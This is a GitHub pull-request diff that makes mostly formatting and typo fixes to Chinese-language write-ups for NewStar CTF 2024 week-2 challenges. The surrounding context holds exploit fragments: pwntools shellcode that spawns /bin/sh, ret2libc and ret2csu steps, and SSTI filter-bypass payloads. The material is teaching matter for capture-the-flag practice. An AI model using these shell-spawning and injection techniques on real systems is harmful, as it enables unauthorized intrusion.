Skip to content

Fixes 404 error caused by case sensitive system #27

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Oct 16, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions docs/wp/2024/week2/crypto/chalichaqi.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

```python
v2 = 0
derta = 462861781278454071588539315363
delta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
Expand All @@ -25,10 +25,10 @@ v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480

for i in range( 32 ):
v2 += derta ; v2 %= p
v2 += delta ; v2 %= p

for i in range(32):
v2 -= derta ; v2 %= p
v2 -= delta ; v2 %= p
v0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p

Expand Down
4 changes: 2 additions & 2 deletions docs/wp/2024/week2/crypto/just-one-and-more-than-two.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

# just one and more than two

很常见的RSA板子题。在一般的RSA中,我们有
很常见的 RSA 板子题。在一般的 RSA 中,我们有

$$\varphi(n)= \varphi(p)*\varphi(q)=(p-1)(q-1)$$

Expand All @@ -14,7 +14,7 @@ $$\varphi(n)= \varphi(p)*\varphi(q)=(p-1)(q-1)$$

$$\varphi(n)=\varphi(p)=p-1$$

针对 more than two 的情况
针对 more than two 的情况

$$\varphi(n)=\varphi(p)*\varphi(q)*\varphi(r)=(p-1)(q-1)(r-1)$$

Expand Down
2 changes: 1 addition & 1 deletion docs/wp/2024/week2/crypto/since-you-know-something.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ c=218950457292639210021937048771508243745941011391746420225459726647571
'''
```

又是简单的签到题,出现了上周的老朋友 `xor()`.
又是简单的签到题,出现了上周的老朋友 `xor()`

此题注释非常重要,希望新生能够充分地利用泄露的信息,即 flag 的前一部分

Expand Down
4 changes: 2 additions & 2 deletions docs/wp/2024/week2/misc/xiaoming1.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,15 +18,15 @@ import Container from '@/components/docs/Container.vue'

>小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的, 现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

拿到手的是一个叫 `image.raw` 的文件,由题可知是内存镜像
拿到手的是一个叫 `image.raw` 的文件,由题可知是内存镜像

## 不像预期的预期解:使用 Volatility 2 一把梭

什么是 Volatility?这是取证里一个很好用的工具,目前主流的有 2 和 3 两个版本,主流平台都可以使用,其中 Kali 如果进行了完整安装的话应该是自带这个软件的,如果没有 Kali Linux 的话可以前往[官网](https://volatilityfoundation.org/)下载。

如果新人在安装过程中出现了一些问题,也没有 Kali 虚拟机,可以先尝试 Windows 下的 Volatility 2 单文件版,当然大家也可以选择其他第三方取证软件,这里不多说了,因为一些第三方软件能一把梭。

这里以 Volatility 2 为例,在使用 Volatility 2 进行取证时,首先分析镜像确定镜像的来源操作系统版本,为进行下面操作做准备
这里以 Volatility 2 为例,在使用 Volatility 2 进行取证时,首先分析镜像确定镜像的来源操作系统版本,为进行下面操作做准备

```bash
vol.py -f image.raw imageinfo
Expand Down
16 changes: 8 additions & 8 deletions docs/wp/2024/week2/pwn/bad-asm.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 `read` 的 syscall,利用 `read` 在旧的 shellcode 后面插入 `execve("/bin/sh", 0, 0)` 的 shellcode,第二次输入的 payload 中 `0x42` 个 `a` 的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。

恢复 `rsp` 的作用是为了能够正常执行 `push` `pop` 指令,这里 `push` `pop` 指令位于 `shellcraft.sh()` 生成的 shellcode中 。否则其生成的 shellcode 无法正常执行。
恢复 `rsp` 的作用是为了能够正常执行 `push` `pop` 指令,这里 `push` `pop` 指令位于 `shellcraft.sh()` 生成的 shellcode 中 。否则其生成的 shellcode 无法正常执行。

```python
# sudo sysctl -w kernel.randomize_va_space=0
Expand Down Expand Up @@ -71,7 +71,7 @@ mov byte ptr [r8 + 0x18], 0x5
```python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
Expand All @@ -90,7 +90,7 @@ add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; //异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并p ush 到栈上面。此时 rsp 指向的即此字符串的开始位置
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov ax, 0x454f
xor ax, 0x4040
Expand All @@ -108,12 +108,12 @@ p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()
```

除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来syscall的机器码然后push到栈上面,最后jmp rsp即可。由于这种方法我们并不依赖nop指令进行连接,在送payload的时候可以去掉ljust了
除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 `jmp rsp` 即可。由于这种方法我们并不依赖 `nop` 指令进行连接,在送 Payload 的时候可以去掉 `ljust` 了。

```python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
Expand All @@ -132,7 +132,7 @@ add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; //异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
Expand All @@ -151,9 +151,9 @@ p.sendafter("Input your Code :", asm(shellcode))
p.interactive()
```

在把 `/bin/sh\x00` push 到栈上面的时候我们为了清除最后的 `0x00`,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 `/bin///sh`,`shellcraft.sh()` 生成的 shellcode 采用的就是这种方法。
在把 `/bin/sh\x00` push 到栈上面的时候,我们为了清除最后的 `0x00`,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 `/bin///sh`,`shellcraft.sh()` 生成的 shellcode 采用的就是这种方法。

按照这种方法更改的 shellcode,也是可以拿到 shell 的
按照这种方法更改的 shellcode,也是可以拿到 shell 的

```python
shellcode='''
Expand Down
5 changes: 2 additions & 3 deletions docs/wp/2024/week2/pwn/ez-game.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,9 +14,8 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

直接打 ret2libc<span data-desc>(但是得进行栈对齐)</span>

1.先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回 `main` 函数进行第二次溢出,实现 getshell

2.构建 `system("/bin/sh")` 取 shell
1. 先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回 `main` 函数进行第二次溢出,实现 getshell
2. 构建 `system("/bin/sh")` 取 shell

:::tip 提示
可以用 ret 地址进行栈对齐
Expand Down
2 changes: 1 addition & 1 deletion docs/wp/2024/week2/pwn/inverted-world.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ int __fastcall main(int argc, const char **argv, const char **envp)

`_read` 实现的是和正常 `read` 相反方向进行输入,我们这里输入的长度 `0x512` 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 `_read` 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。

反向输入 `sh` 即可执行 `system("sh")` 拿到shell.
反向输入 `sh` 即可执行 `system("sh")` 拿到 shell.

:::info 关于 Canary
因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.
Expand Down
4 changes: 2 additions & 2 deletions docs/wp/2024/week2/pwn/my-gbc.md
Original file line number Diff line number Diff line change
Expand Up @@ -49,9 +49,9 @@ __int64 __fastcall encrypt(__int64 a1, char a2, int a3)

![ret2csu](/assets/images/wp/2024/week2/my-gbc_1.png)

这是 csu 的代码片段,第一段代码能将 `r12` `r13` `r14`分别 mov 到 `rdi` `rsi` `rdx`,这样我们便能控制 `rdx`,即控制函数的三参,并且后面还有 `call [r15+rbx*8]`,能控制程序的走向;第二段代码则是一长串的 `pop`,配合上述代码,即可达到 ROP,控制程序流程
这是 csu 的代码片段,第一段代码能将 `r12` `r13` `r14` 分别 mov 到 `rdi` `rsi` `rdx`,这样我们便能控制 `rdx`,即控制函数的三参,并且后面还有 `call [r15+rbx*8]`,能控制程序的走向;第二段代码则是一长串的 `pop`,配合上述代码,即可达到 ROP,控制程序流程

需要注意的是,call 后面有 `add rbx, 1;` `cmp rbp, rbx;` `jnz` ...,我们需要控制 `rbx = 0` `rbp = 1`
需要注意的是,`call` 后面有 `add rbx, 1;` `cmp rbp, rbx;` `jnz` ...,我们需要控制 `rbx = 0` `rbp = 1`

对于加密函数,异或和左移都是可逆运算,我们只需对我们输入的内容先右移后异或 `0x5A` 即可

Expand Down
8 changes: 4 additions & 4 deletions docs/wp/2024/week2/reverse/pangbai-terra1.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,18 +18,18 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

![反调试相关代码](/assets/images/wp/2024/week2/pangbai-terra1_3.png)

逻辑是当检测到你调试的时候,你的 key 会被异或替换成错误的 key,但是如果你正常运行,key 会被替换异或成正确的 key.
逻辑是当检测到你调试的时候,你的 key 会被异或替换成错误的 key,但是如果你正常运行,key 会被替换异或成正确的 key

- 解法 1:直接把反调试函数 `nop` 掉,不太推荐,对汇编不太熟悉的话会报错

- 解法 2:改跳转<span data-desc>(推荐解法)</span>

![改跳转法](/assets/images/wp/2024/week2/pangbai-terra1_4.png)

断到这里的时候,改 `jz` 为 `jnz` 或者,改 ZF 寄存器,就可以跳到正确的 key,得到正确的 flag.
断到这里的时候,改 `jz` 为 `jnz` 或者,改 ZF 寄存器,就可以跳到正确的 key,得到正确的 flag

- 解法3:装自动绕过反调试插件,小幽灵
- 解法 3:装自动绕过反调试插件,小幽灵

![插件法](/assets/images/wp/2024/week2/pangbai-terra1_5.png)

得到正确的 flag 和 key,如果还没学到调试的话,其实看逻辑应该也可能解出这题
得到正确的 flag 和 key,如果还没学到调试的话,其实看逻辑应该也可能解出这题
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

![很复杂的主函数](/assets/images/wp/2024/week2/upx_1.png)

这时根据文件的名称和提示,和 UPX 相关联。直接搜索 UPX,可以得知它是可执行程序文件压缩器,是一种压缩壳。在程序启动时先执行 UPX 的代码,把压缩后的原文件解压后,再把控制流转到原文件。然后这里可以使用 DIE 进行查看,特征也显示为 UPX
这时根据文件的名称和提示,和 UPX 相关联。直接搜索 UPX,可以得知它是可执行程序文件压缩器,是一种压缩壳。在程序启动时先执行 UPX 的代码,把压缩后的原文件解压后,再把控制流转到原文件。然后这里可以使用 DIE 进行查看,特征也显示为 UPX.

![DIE 的查看结果](/assets/images/wp/2024/week2/upx_2.png)

Expand Down
4 changes: 1 addition & 3 deletions docs/wp/2024/week2/web/fuduji.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,7 @@ titleTemplate: ':title | WriteUp - NewStar CTF 2024'

输入 `{{ '{'+'{ 7*7 }'+'}' }}` 的时候,输出的结果是 49,说明存在 SSTI 注入

当输入 `{{ '{'+'{ [].__class__} '+'}' }}`

发现 bot 显示不喜欢上课,说明 `class` 被过滤了,可以使用简单的拼接绕过
输入 `{{ '{'+'{ [].__class__}'+'}' }}`,发现 bot 显示不喜欢上课,说明 `class` 被过滤了,可以使用简单的拼接绕过

```python
{{'{'+`{[]['__cl'+'ass__']}`+'}'}}
Expand Down
4 changes: 2 additions & 2 deletions docs/wp/2024/week2/web/pangbai2.md
Original file line number Diff line number Diff line change
Expand Up @@ -109,7 +109,7 @@ if ($_POST['papa'] !== 'TfflxoU0ry7c') {

后面的考点是 PHP 中关于非法参数名传参问题。我们重点关注下面这个表达式:

```PHP
```php
$_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])
```

Expand All @@ -119,7 +119,7 @@ $_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewS

如果加 `D` 修饰符,就不匹配换行符:

```python
```php
preg_match('/^Welcome$/D', "Welcome\n")
```

Expand Down